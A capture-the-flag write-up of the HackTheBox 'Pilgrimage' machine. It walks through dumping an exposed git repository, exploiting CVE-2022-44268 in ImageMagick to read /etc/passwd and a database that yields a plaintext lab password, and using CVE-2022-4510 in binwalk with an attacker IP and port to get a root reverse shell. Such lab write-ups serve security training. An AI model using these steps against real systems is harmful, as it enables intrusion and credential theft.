Pilgrimage

Reconnaissance

First, I added the new host to my known ones:

sudo echo "10.10.11.219 pilgrimage.htb" | sudo tee -a /etc/hosts

Then, I performed a Nmap scan:

nmap -sC -T4 -p- pilgrimage.htb > sC.txt
 
[redacted]
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey: 
|   3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
|   256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_  256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open  http
|_http-title: Pilgrimage - Shrink Your Images
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-git: 
|   10.10.11.219:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name
 the...
|_    Last commit message: Pilgrimage image shrinking service initial commit. # Please
 ...

Nmap reports a hidden endpoint /.git so there might be a git repository exposed. I checked its website:

I’ll use git-dumper to dump the content of the hidden repository:

# First I activate my Python venv
source ~/HackTheBox/hackthebox_env/bin/activate
# Then I executed it
git-dumper http://pilgrimage.htb/.git/ ./results

I noticed that inside of the repository there is an ELF binary called magick. It makes reference to ImageMagick. So I checked its version:

./magick -version
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)

Weaponization

I searched for “ImageMagick 7.1.0-49” cve and found CVE-2022-44268.

Exploitation

First I cloned the repository:

git clone https://github.com/voidz0r/CVE-2022-44268

Then I run the project to create the image:

cargo run "/etc/passwd"

Then I used the generated file to upload it to the website:

Afterwards I downloaded the generated image and analyzed it with ImageMagick:

../magick identify -verbose ../../683754fdf0f73.png
 
[redacted]
726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d
6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f
6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e
2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f736269
6e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f
62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d
65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a
2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a
783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f
6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f757372
2f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73
706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31
303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f
6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573
722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d
646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b
75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f
7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c69
7374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67
696e0a6972633a783a33393a33393a697263643a2f72756e2f697263643a2f7573722f73
62696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d
5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e
6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a3635353334
3a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e
2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e6578697374
656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f72
6b3a783a3130313a3130323a73797374656d64204e6574776f726b204d616e6167656d65
6e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e
0a73797374656d642d7265736f6c76653a783a3130323a3130333a73797374656d642052
65736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f
6c6f67696e0a6d6573736167656275733a783a3130333a3130393a3a2f6e6f6e65786973
74656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573
796e633a783a3130343a3131303a73797374656d642054696d652053796e6368726f6e69
7a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c
6f67696e0a656d696c793a783a313030303a313030303a656d696c792c2c2c3a2f686f6d
652f656d696c793a2f62696e2f626173680a73797374656d642d636f726564756d703a78
3a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f
7362696e2f6e6f6c6f67696e0a737368643a783a3130353a36353533343a3a2f72756e2f
737368643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a393938
3a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a

Then I decode it from hex:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

Username emily is found.

As we can successfully read files in the machine, we can try to search for databases. In Code-OSS, I can search for databases leaked on the source code:

There is a database under /var/db/pilgrimage, so I’ll repeat the process but for the database:

cargo run "/var/db/pilgrimage"
# Upload the image to the website
# Download it
../magick identify -verbose ../../683756a3cf065.png
 
[redacted]
53514c69746520666f726d617420330010000101004020200000003f0000000500000000
000000000000000400000004000000000000000000000001000000000000000000000000
00000000000000000000000000000000000000000000003f002e4b910d0ff800040eba00
0f650fcd0eba0f3800000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000
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0000
[redacted]

Then I’ll use the following script to create the database by first decoding it from hex and then creating the sqlite file:

import binascii
 
# Tu cadena hexadecimal (puede estar en varias líneas)
hex_data = """
53514c69746520666f726d617420330010000101004020200000003f0000000500000000
000000000000000400000004000000000000000000000001000000000000000000000000
00000000000000000000000000000000000000000000003f002e4b910d0ff800040eba00
0f650fcd0eba0f3800000000000000000000000000000000000000000000000000000000
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"""
 
# Clean and convert to binary
hex_data = hex_data.replace("\n", "").replace(" ", "")
binary_data = binascii.unhexlify(hex_data)
 
# Save it as sqlite
with open("database.sqlite", "wb") as f:
    f.write(binary_data)
 
print("Saved")

Got creds: emily:abigchonkyboi123

User flag

Privilege Escalation

I enumerated root’s processes:

ps auxww | grep root
 
[redacted]
root         773  0.0  0.0   2516   716 ?        S    03:55   0:00 /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/
 
root         774  0.0  0.0   6816  2296 ?        S    03:55   0:00 /bin/bash /usr/sbin/malwarescan.sh

I noticed a Bash script called malwarescan.sh being executed by root and likely calling the inotifywait command. I took a closer look to the script:

cat /usr/sbin/malwarescan.sh
 
#!/bin/bash
 
blacklist=("Executable script" "Microsoft executable")
 
/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
        filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
        binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
                if [[ "$binout" == *"$banned"* ]]; then
                        /usr/bin/rm "$filename"
                        break
                fi
        done
done

The script uses inotifywait to monitor the /var/www/pilgrimage.htb/shrunk/ directory for new files. When a new file is created, the script uses tail and sed to extract the filename from the output of inotifywait . Then, binwalk is used to extract any binary data and store it in the binout variable. If any of the blacklisted strings are found, the file is removed.

I decided to take a look at the binwal version to find out any vulnerability it could have:

/usr/local/bin/binwalk
 
Binwalk v2.3.2

Weaponization x2

So I searched for “binwalk 2.3.2 cve” and found CVE-2022-4510

Exploitation x2

I copied the code and executed the script:

• NOTE: I manually uploaded the funny.png.

python3 cve_escalation.py funny.jpg 10.10.14.36 888
# Then move the generated file to /var/www/pilgrimage.htb/shrunk (as the code requires)
mv binwalk_exploit.png /var/www/pilgrimage.htb/shrunk/

After a few seconds you’ll get a shell as root:

Root flag

Machine pwned!